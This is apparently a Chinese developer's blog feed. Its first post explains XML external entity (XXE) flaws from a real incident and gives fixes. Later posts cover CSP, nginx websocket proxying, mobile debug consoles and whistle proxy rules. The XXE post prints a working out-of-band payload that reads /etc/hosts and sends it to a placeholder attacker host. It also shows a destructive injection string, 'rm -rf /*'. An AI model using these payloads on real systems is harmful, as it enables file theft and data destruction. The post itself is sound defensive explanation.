<p>XXE称为XML实体注入(XML External Entity),他出现在我们的XML文件内,当允许引用外部实体时,通过构造恶意实体内容,从而可能导致如:</p>
<p>1、读取任意文件(read file)<br>2、内网端口探测(scan port)<br>3、服务端请求伪造 (SSRF)<br>4、执行系统命令 (exec command)</p>
<p>了解XXE需要先大致的了解下XML以及DTD。</p>
<hr>
<h2 id="什么是XML"><a href="#什么是XML" class="headerlink" title="什么是XML"></a>什么是XML</h2><p>XML是一种是一种类似HTML的可扩展标记语言,它的标记都是自定义的,其设计宗旨是包含和传输数据。和HTML不一样,他的核心设计是包含和传输数据,类似于json。而HTML偏向于展示内容和数据。在Android应用编写和微信公众号里之前经常会用到。举例为:<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span><span class="meta">?></span></span></span><br><span class="line"><span class="tag"><<span class="name">note</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">to</span>></span>Tove<span class="tag"></<span class="name">to</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">from</span>></span>Jani<span class="tag"></<span class="name">from</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">heading</span>></span>Reminder<span class="tag"></<span class="name">heading</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">body</span>></span>Don't forget me this weekend!<span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">note</span>></span></span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="什么是DTD"><a href="#什么是DTD" class="headerlink" title="什么是DTD"></a>什么是DTD</h2><p>DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。<br>DTD包括两种类型:内部的 DOCTYPE 声明以及外部文档声明。</p>
<hr>
<h3 id="内部的-DOCTYPE-声明"><a href="#内部的-DOCTYPE-声明" class="headerlink" title="内部的 DOCTYPE 声明"></a>内部的 DOCTYPE 声明</h3><p>内部的声明被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">//规范</span><br><span class="line"><span class="meta"><!DOCTYPE 根元素 [元素声明]></span></span><br><span class="line"></span><br><span class="line">// 举例</span><br><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span><span class="meta">?></span></span></span><br><span class="line"><span class="meta"><!DOCTYPE note [</span></span><br><span class="line"><span class="meta"><!ELEMENT note (to,from,heading,body)></span></span><br><span class="line"><span class="meta"><!ELEMENT to (#PCDATA)></span></span><br><span class="line"><span class="meta"><!ELEMENT from (#PCDATA)></span></span><br><span class="line"><span class="meta"><!ELEMENT heading (#PCDATA)></span></span><br><span class="line"><span class="meta"><!ELEMENT body (#PCDATA)></span></span><br><span class="line"><span class="meta">]></span></span><br><span class="line"><span class="tag"><<span class="name">note</span>></span></span><br><span class="line"><span class="tag"><<span class="name">to</span>></span>Tove<span class="tag"></<span class="name">to</span>></span></span><br><span class="line"><span class="tag"><<span class="name">from</span>></span>Jani<span class="tag"></<span class="name">from</span>></span></span><br><span class="line"><span class="tag"><<span class="name">heading</span>></span>Reminder<span class="tag"></<span class="name">heading</span>></span></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span>Don't forget me this weekend<span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">note</span>></span></span><br></pre></td></tr></table></figure></p>
<p>解释为:<br><code>!DOCTYPE note</code> (第二行)定义此文档是 note 类型的文档。<br><code>!ELEMENT note</code> (第三行)定义 note 元素有四个元素:”to、from、heading,、body”<br><code>!ELEMENT to</code> (第四行)定义 to 元素为 “#PCDATA” 类型<br><code>!ELEMENT from</code> (第五行)定义 from 元素为 “#PCDATA” 类型<br><code>!ELEMENT heading</code> (第六行)定义 heading 元素为 “#PCDATA” 类型<br><code>!ELEMENT body</code> (第七行)定义 body 元素为 “#PCDATA” 类型</p>
<hr>
<h3 id="外部文档声明"><a href="#外部文档声明" class="headerlink" title="外部文档声明"></a>外部文档声明</h3><p>假如 DTD 位于 XML 源文件的外部,那么XML通过这种方式引用的,就叫做外部文档声明。那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">// 规范</span><br><span class="line"><span class="meta"><!DOCTYPE 根元素 SYSTEM "文件名"></span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span><span class="meta">?></span></span></span><br><span class="line"><span class="meta"><!DOCTYPE note SYSTEM "note.dtd"></span></span><br><span class="line"><span class="tag"><<span class="name">note</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">to</span>></span>Tove<span class="tag"></<span class="name">to</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">from</span>></span>Jani<span class="tag"></<span class="name">from</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">heading</span>></span>Reminder<span class="tag"></<span class="name">heading</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">body</span>></span>Don't forget me this weekend!<span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">note</span>></span></span><br></pre></td></tr></table></figure>
<p>包含 DTD 的 “note.dtd” 文件可能为:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><!ELEMENT note (to,from,heading,body)></span><br><span class="line"><!ELEMENT to (#PCDATA)></span><br><span class="line"><!ELEMENT from (#PCDATA)></span><br><span class="line"><!ELEMENT heading (#PCDATA)></span><br><span class="line"><!ELEMENT body (#PCDATA)></span><br></pre></td></tr></table></figure></p>
<p>上面的这个文件可能是个系统路径,实际上他还可能是个http文件地址。比如:<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span> standalone=<span class="string">"yes"</span><span class="meta">?></span></span> <span class="meta"><!DOCTYPE file [<!ENTITY % aaa SYSTEM "http://xxxxx.ip/xx.dtd">%aaa;%ccc;%ddd;]></span></span><br></pre></td></tr></table></figure></p>
<p>DTD的好处就是比较好的能够描述自身格式的描述、可以使用某个统一的标准来定义格式。</p>
<hr>
<h2 id="XXE漏洞的原理及案例"><a href="#XXE漏洞的原理及案例" class="headerlink" title="XXE漏洞的原理及案例"></a>XXE漏洞的原理及案例</h2><p>了解了XML以及DDT,再来了解XXE就比较清楚了。XXE出现于上面两种方式中的:外部文档声明的情况。<strong>XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。</strong></p>
<p>比如本次我遇到的漏洞就是通过向我们的那个老旧的php文件post以下内容后,就可以得到<code>/etc/hosts</code>内的内容了。<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span> standalone=<span class="string">"yes"</span><span class="meta">?></span></span> <span class="meta"><!DOCTYPE file [</span></span><br><span class="line"><span class="meta"> <!ENTITY % aaa SYSTEM "http://xxxxx.ip/evil.dtd"></span></span><br><span class="line"><span class="meta"> %aaa;%ccc;%ddd;</span></span><br><span class="line"><span class="meta">]></span></span><br></pre></td></tr></table></figure></p>
<p>evil.dtd里面的内容可能是:<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY % bbb SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts"><!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'http://xxx.ip/b?%bbb;'>"></span><br></pre></td></tr></table></figure></p>
<p>类似的,可以把<code>evil.dtd</code>里的文件内容变成<code>etc/passwd</code>。这个是非常危险的操作。</p>
<p>最后我使用的解决方法比较简单,在php内禁用实体的外部引用即可。如:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">libxml_disable_entity_loader(<span class="keyword">true</span>);</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="扩展案例"><a href="#扩展案例" class="headerlink" title="扩展案例"></a>扩展案例</h2><p>以上我遇到的案例是XXE的风险之一-读取文件漏洞,除了这以外,在学习这个过称中我还看到了有其他的案例也会造成多样的漏洞问题,这里总结如下:(特别说明下:以下案例非真实经历,如果图片涉及到了侵权,麻烦联系我及时删掉)。</p>
<h3 id="文件读取漏洞"><a href="#文件读取漏洞" class="headerlink" title="文件读取漏洞"></a>文件读取漏洞</h3><p>如显示的展示漏洞,比如读到了xml信息后,直接print出来。显示的打印出来了<code>xml</code>信息。里面就有引用实体的内容。<br><img src="xianshi.png" alt="显示读取"></p>
<p>数据即使不回显也可能会有问题,因为可以想办法触发漏洞以后把文件发送到攻击者的网站。如上我自己遇到的案例就是这种情况。<br><img src="sendserver.png" alt="不显示读取"><br>dtd文件为:<br><img src="sendserverdtd.png" alt="dtd文件"><br>这样触发了工具后,就把漏洞发送到攻击者的网站了。验证自己有没有解决这个问题,就可以查看有没有给这个网站发送请求即可。</p>
<hr>
<h3 id="SSRF攻击"><a href="#SSRF攻击" class="headerlink" title="SSRF攻击"></a>SSRF攻击</h3><p><img src="ssrf.png" alt="服务端攻击"></p>
<p>这个就比较好理解了,有一丢丢类似于前端的csrf。这里利用了文件可以引用外部实体的因素,利用服务器做中转去访问了第三方网站。</p>
<hr>
<h3 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h3><p><img src="exec.png" alt="执行命令"><br>如上是安装expect扩展的PHP环境里执行系统命令。感觉有一丢丢像我之前了解的命令行注入的影子。命令行注入是指:命令行注入漏洞,指的是攻击者能够通过 HTTP 请求直接侵入主机,执行攻击者预设的 shell 命令。<br><img src="zhuru.png" alt="命令行注入"><br>比如上面的这个如果传入的是<code>git clone xxx && rm -rf /*</code>,然后又刚好有root权限就完了。</p>
<hr>
<h3 id="端口探测"><a href="#端口探测" class="headerlink" title="端口探测"></a>端口探测</h3><p><img src="tance.png" alt="探测"><br>这个例子探测了192.168.1.1的80、81端口,通过返回的状态,比如“Connection refused”可以知道哪个是开的哪个是关掉的。另外还可以把IP换成域名,利用当前服务器DNS尝试解析内部域名来获取内网IP。</p>
<hr>
<h2 id="防御方法"><a href="#防御方法" class="headerlink" title="防御方法"></a>防御方法</h2><p>目前有两种比较简单和有效的方法:</p>
<p>1、第一种是直接在代码中禁用外部的实体引用。如上实际案例中我就是通过这种方法解决的。<br>2、可以通过过滤关键词的方法,如把<code><!DOCTYPE</code>、<code><!ENTITY</code>、<code>SYSTEM</code>、<code>PUBLIC</code>过滤掉。但是这个要小心处理,有一定的风险。</p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>以上记录了我经历的之前的一次XXE漏洞,通过解决这个漏洞,去了解了类似的漏洞。比较感兴趣因此记录了下来。</p>
<p>最近被一些问题困扰,不是技术问题,会有很难受的时候,但是问题总会被解决,时间会证明一切。如果这个过称中你难受了,那就积极的去解决问题,正面面对他。</p>
]]></content>
<summary type="html">
<p>最近很忙,没有停下来脚步思考一些事情,没有整理遇到过的问题,没有停下来脚步听听内心的声音。</p>
<hr>
<h2 id="XXE-漏洞"><a href="#XXE-漏洞" class="headerlink" title="XXE 漏洞"></a>XXE 漏洞</h2
</summary>
</entry>
<entry>
<title>近日梳理</title>
<link href="http://sevencai.github.io/2020/04/25/%E8%BF%91%E6%97%A5%E6%A2%B3%E7%90%86/"/>
<id>http://sevencai.github.io/2020/04/25/近日梳理/</id>
<published>2020-04-25T06:52:16.000Z</published>
<updated>2020-05-18T11:12:38.000Z</updated>
<content type="html"><![CDATA[<p>一般是工作中遇到问题,不太会解决后立即总结,而是解决后在记录本里写一到两个关键字,过了一个月以后再一起总结,这样会有个加固记忆的过称。(为自己的偷懒找个合适的借口🐩🌶)</p>
<hr>
<h2 id="关于-csp"><a href="#关于-csp" class="headerlink" title="关于 csp"></a>关于 csp</h2><p>好几个月之前定位一个同事遗留下来的项目,当时是在手机上,抓包看发现某个请求怎么都发布出去,突然发现有个<code>report/csp</code>这个请求。瞬间明白了,可能是服务器限制了csp。</p>
<p>本地使用<code>whisle</code> 的<code>`xxx.qq.com disable://csp</code>一下就解决了。这件事情告诉了我知识储备有多么重要,如果不是因为去年去了解xss, 无意间接触了下csp的限制以及了解了他的<code>report-uri</code>,估计也不会这么快定位出来问题。</p>
<p>什么是csp?</p>
<blockquote>
<p><strong>CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。</strong></p>
</blockquote>
<p>csp可以做什么事情?</p>
<ol>
<li>csp可以防止xss</li>
<li>数据包嗅探攻击:除限制可以加载内容的域,服务器还可指明哪种协议允许使用;比如 (从理想化的安全角度来说),服务器可指定所有内容必须通过HTTPS加载。</li>
</ol>
<p>csp 为什么可以防止xss?</p>
<blockquote>
<p>CSP 的主要目标是减少和报告 XSS 攻击 ,<strong>XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。</strong>恶意脚本在受害者的浏览器中得以运行,因为浏览器信任其内容来源,即使有的时候这些脚本并非来自于它本该来的地方。</p>
<p>CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。</p>
<p>作为一种终极防护形式,始终不允许执行脚本的站点可以选择全面禁止脚本执行。</p>
</blockquote>
<p>csp 怎么使用?<br>1、HTTP 头信息的Content-Security-Policy<br>2、通过网页的<meta>标签</p>
<p>我上面遇到的问题,是运维同事设置的 <code>HTTP</code> 头里不包括了之前的请求导致的。</p>
<hr>
<h2 id="nginx-支持-websocket-反向代理"><a href="#nginx-支持-websocket-反向代理" class="headerlink" title="nginx 支持 websocket 反向代理"></a>nginx 支持 websocket 反向代理</h2><p>场景:服务器上起了某个websocket服务,需要反向代理到websocket对应端口。仅仅这样无法完成转发,还需要nginx支持websocket。它表示它表明是websocket连接进入的时候,进行<strong>一个连接升级将http连接变成websocket的连接</strong>。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">proxy_set_header Upgrade <span class="variable">$http_upgrade</span>;</span><br><span class="line">proxy_set_header Connection <span class="string">"upgrade"</span>;</span><br></pre></td></tr></table></figure>
<p>完整的可以为:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">server {</span><br><span class="line"> listen 80;</span><br><span class="line"> server_name 域名;</span><br><span class="line"> location / {</span><br><span class="line"> proxy_pass http://127.0.0.1:51015/; // 代理转发地址</span><br><span class="line"> proxy_http_version 1.1;</span><br><span class="line"> proxy_read_timeout 3600s; // 超时设置</span><br><span class="line"> // 启用支持websocket连接</span><br><span class="line"> proxy_set_header Upgrade <span class="variable">$http_upgrade</span>;</span><br><span class="line"> proxy_set_header Connection <span class="string">"upgrade"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>如果不设置,服务器端可能会返回给浏览器端错误码:426。</p>
<p>扩展:一般情况下,发起请求时,协议升级请求总是由客户端发起的。请求时需要添加两项额外的header:</p>
<blockquote>
<p>Connection: Upgrade<br>设置 Connection 头的值为 “Upgrade” 来指示这是一个升级请求.<br>Upgrade: protocols<br>Upgrade 头指定一项或多项协议名,按优先级排序,以逗号分隔。</p>
</blockquote>
<p><img src="upgrade.png" alt="upgrade"></p>
<p><strong>如果服务器决定升级这次连接,就会返回一个<code>101 Switching Protocols</code>响应状态码,和一个要切换到的协议的头部字段Upgrade。</strong><br>服务在发送 101 状态码之后,就可以使用新的协议,并可以根据需要执行任何其他协议指定的握手。实际上,一旦这次升级完成了,连接就变成了双向管道。并且可以通过新协议完成启动升级的请求。</p>
<p><strong>如果不支持这个升级这个协议,就可能发送<code>426 Upgrade Required</code>。表明服务器拒绝处理客户端使用当前协议发送的请求,但是可以接受其使用升级后的协议发送的请求。此时可以检查下<code>nginx</code>是否配置了支持<code>websocket</code>。</strong></p>
<hr>
<h2 id="vconsole-vs-eruda"><a href="#vconsole-vs-eruda" class="headerlink" title="vconsole vs eruda"></a>vconsole vs eruda</h2><p>两个都用过,更喜欢 vconsole, 下面是eruda的用法(喜欢直接内嵌页面,不喜欢用npm):<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> src = <span class="string">'//cdn.bootcss.com/eruda/1.5.2/eruda.min.js'</span>;</span><br><span class="line"> <span class="keyword">if</span> (</span><br><span class="line"> !<span class="regexp">/debug=1/</span>.test(<span class="built_in">window</span>.location) &&</span><br><span class="line"> localStorage.getItem(<span class="string">'active-eruda'</span>) != <span class="string">'true'</span></span><br><span class="line"> )</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> <span class="built_in">document</span>.write(<span class="string">'<scr'</span> + <span class="string">'ipt src="'</span> + src + <span class="string">'"></scr'</span> + <span class="string">'ipt>'</span>);</span><br><span class="line"> <span class="built_in">document</span>.write(<span class="string">'<scr'</span> + <span class="string">'ipt>eruda.init();</scr'</span> + <span class="string">'ipt>'</span>);</span><br><span class="line">})();</span><br></pre></td></tr></table></figure></p>
<p>vconsole, 一般也会用url参数加个开关。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><head></span><br><span class="line"> <script src=<span class="string">"path/to/vconsole.min.js"</span>></script></span><br><span class="line"> <script></span><br><span class="line"> var vConsole = new VConsole()</span><br><span class="line"> </script></span><br><span class="line"></head></span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="小程序的一次性订阅和长期订阅"><a href="#小程序的一次性订阅和长期订阅" class="headerlink" title="小程序的一次性订阅和长期订阅"></a>小程序的一次性订阅和长期订阅</h2><p>小程序以前的策略是通过模板消息来发送服务通知。并且限定是在支付后或者提交表单以后。此项后面废除。改为了订阅消息。</p>
<p>功能细节:</p>
<ol>
<li>订阅消息推送位置:服务通知</li>
<li>订阅消息下发条件:用户自主订阅</li>
<li>订阅消息卡片跳转能力:点击查看详情可跳转至该小程序的页面</li>
</ol>
<p>使用方法:</p>
<ol>
<li>获取模板 ID</li>
<li>获取下发条件 <code>wx.requestSubscribeMessage</code></li>
<li>调用接口下发订阅消息 <code>subscribeMessage.send</code></li>
</ol>
<p>使用区分:</p>
<ol>
<li>一次性订阅消息:<strong>用户订阅一次后,开发者可下发一条消息,不限时间</strong>。若用户勾选了“总是保持以上选择,不再询问”且点击了允许,那么以后都默认同意订阅这条消息。用户不再做多次选择,开发者也避免了更繁琐的提醒。</li>
<li>长期性订阅消息:用户订阅一次后,可长期下发多条消息。目前长期性订阅消息向政务、医疗、交通、金融、教育等线下公共服务开放,后续将综合评估行业需求和用户体验持续完善。(长期订阅消息只针对特定行业开放,所以普通开发者并无法使用)。</li>
</ol>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>今天是星期六,下周五一,明天是星期天,需要补一天班。</p>
]]></content>
<summary type="html">
<p>一般是工作中遇到问题,不太会解决后立即总结,而是解决后在记录本里写一到两个关键字,过了一个月以后再一起总结,这样会有个加固记忆的过称。(为自己的偷懒找个合适的借口🐩🌶)</p>
<hr>
<h2 id="关于-csp"><a href="#关于-csp" class="
</summary>
<category term="笔记" scheme="http://sevencai.github.io/tags/%E7%AC%94%E8%AE%B0/"/>
</entry>
<entry>
<title>whisle常用配置总结</title>
<link href="http://sevencai.github.io/2020/04/21/whisle%E5%B8%B8%E7%94%A8%E9%85%8D%E7%BD%AE%E6%80%BB%E7%BB%93/"/>
<id>http://sevencai.github.io/2020/04/21/whisle常用配置总结/</id>
<published>2020-04-21T11:44:33.000Z</published>
<updated>2020-04-24T06:56:17.000Z</updated>
<content type="html"><![CDATA[<p>用<code>whisle</code>已经差不都两年多了,真是个很棒的工具,除了配色,真的没有地方可以吐槽。下面总结下我经常用的并且好用的配置。</p>
<p><img src="whistle.png" alt="whisle"></p>
<hr>
<h2 id="转发"><a href="#转发" class="headerlink" title="转发"></a>转发</h2><p>场景为:与业务联调,需要业务App内嵌我们H5,我们可以随意抓包找业务App内的一个H5链接,转发成我们的页面即可模拟到APP打开H5页面。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/^https?:\/\/isee.weishi.qq.com\/(.*)\?(.*)/ redirect://https://xxxx</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="修改回包(mock数据)"><a href="#修改回包(mock数据)" class="headerlink" title="修改回包(mock数据)"></a>修改回包(mock数据)</h2><p>whisle内写如下规则:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://api.xxx resBody://{valueName}</span><br></pre></td></tr></table></figure></p>
<p>然后再在 <code>values</code> 里面建立名为 <code>valueName</code> 的配置项并将需要的<code>json</code>数据填入即可。</p>
<p>或者使用<code>resScript</code>如:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">api.xxx resScript://{valueName.js}</span><br></pre></td></tr></table></figure></p>
<p>再在<code>values</code> 里建立 <code>valueName.js</code> 的配置项,并且进行如下的配置<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">rules.push(url + <span class="string">' resBody://{res}'</span>);</span><br><span class="line">values[<span class="string">'res'</span>] = <span class="string">'{"ret" : 0,"msg" : "ok","recomm_info" : {}}'</span></span><br></pre></td></tr></table></figure></p>
<p>若是想模拟 <code>jsonp</code>则:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">api.xxx resScript://{valueName.js}</span><br></pre></td></tr></table></figure></p>
<p>在values里拿到<code>jsonp callback</code>的值,填入回包即可模拟<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">rules.push(url + <span class="string">' resBody://{res1}'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> queryStr = parseUrl(url).query</span><br><span class="line"><span class="keyword">var</span> queries = parseQuery(queryStr)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> jsonpMethod = queries.format.substr(<span class="number">6</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> res1 = {<span class="string">"ret"</span> : <span class="number">0</span>,<span class="string">"msg"</span> : <span class="string">"ok"</span>,<span class="string">"recomm_info"</span> : {}}</span><br><span class="line">values[<span class="string">'res1'</span>] = jsonpMethod + <span class="string">'('</span> + <span class="built_in">JSON</span>.stringify(res1) + <span class="string">')'</span></span><br></pre></td></tr></table></figure></p>
<p>意思就是其实变量什么的都能拿到,自己去想办法构造即可,再举例为:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">www.ifeng.com resScript:<span class="comment">//{resScript.js}</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// resScript.js:</span></span><br><span class="line"><span class="keyword">const</span> options = parseUrl(url);</span><br><span class="line">rules.push(<span class="string">`<span class="subst">${options.host}</span> resCookies://{cookies.json}`</span>);</span><br><span class="line">values[<span class="string">'cookies.json'</span>] = {</span><br><span class="line"> serverIp,</span><br><span class="line"> clientIp,</span><br><span class="line"> <span class="keyword">from</span>: <span class="string">'resScript'</span></span><br><span class="line">};</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="proxy-http-proxy"><a href="#proxy-http-proxy" class="headerlink" title="proxy(http-proxy)"></a>proxy(http-proxy)</h2><p>设置 HTTP 代理,一个比较典型的场景,是想把某个域名的请求,定位到一个具体<code>ip:port</code>查问题。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pattern proxy://ip:port</span><br><span class="line">www.detail.tmall.com proxy://101.231.104.82:80</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="模拟-404、模拟慢反应"><a href="#模拟-404、模拟慢反应" class="headerlink" title="模拟 404、模拟慢反应"></a>模拟 404、模拟慢反应</h2><p>某些情况需要验证某些特殊的返回码或者延迟效果来看前端的反馈。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 模拟404 或者 500</span></span><br><span class="line">/wechat.js/ statusCode://404</span><br><span class="line">www.ifeng.com statusCode://500</span><br><span class="line"></span><br><span class="line"><span class="comment"># 延迟2s后返回结果</span></span><br><span class="line">/xxx.php/ resDelay://2000</span><br><span class="line"><span class="comment"># 延迟3s后发起请求</span></span><br><span class="line">/xxx.php/ reqDelay://3000</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="本地调试"><a href="#本地调试" class="headerlink" title="本地调试"></a>本地调试</h2><p>某些时候,现网出了问题,我们需要看下是什么情况,可以把某个有问题的文件使用本地文件从而进行定位和调试。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apixxxx.js file:///Users/seven/apixxxx.js</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="修改删除响应头、请求头"><a href="#修改删除响应头、请求头" class="headerlink" title="修改删除响应头、请求头"></a>修改删除响应头、请求头</h2><p>可以利用<code>resHeaders</code>或者<code>reqHeaders</code>修改 headers 里的内容<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">www.ifeng.com resHeaders://{<span class="built_in">test</span>-resHeaders.json}</span><br><span class="line"></span><br><span class="line">// <span class="built_in">test</span>-resHeaders.json 内</span><br><span class="line">x-test1: value1</span><br><span class="line">x-test2: value2</span><br><span class="line">x-testN: valueN</span><br></pre></td></tr></table></figure></p>
<p>如下面这种:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pgv_pvi: 6973761536</span><br><span class="line">pgv_pvi: 6973761536</span><br><span class="line">x_host_key: xxx-xxx </span><br><span class="line">csrftoken: xxx</span><br></pre></td></tr></table></figure></p>
<p>还可以通过 <code>headerReplace</code>替换字符的方式修改请求或响应。(我感觉只有你想不到,没有他做不到啊啊啊优秀!)</p>
<p>删除指定的请求响应头字段,也可以通过reqHeaders、resHeaders把字段设置为空字符串<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pattern delete://req.headers.xxx|req.headers.x22|res.headers.yyy|headers.zzz</span><br><span class="line">/./ delete://req.headers.x-forwarded-for</span><br></pre></td></tr></table></figure></p>
<hr>
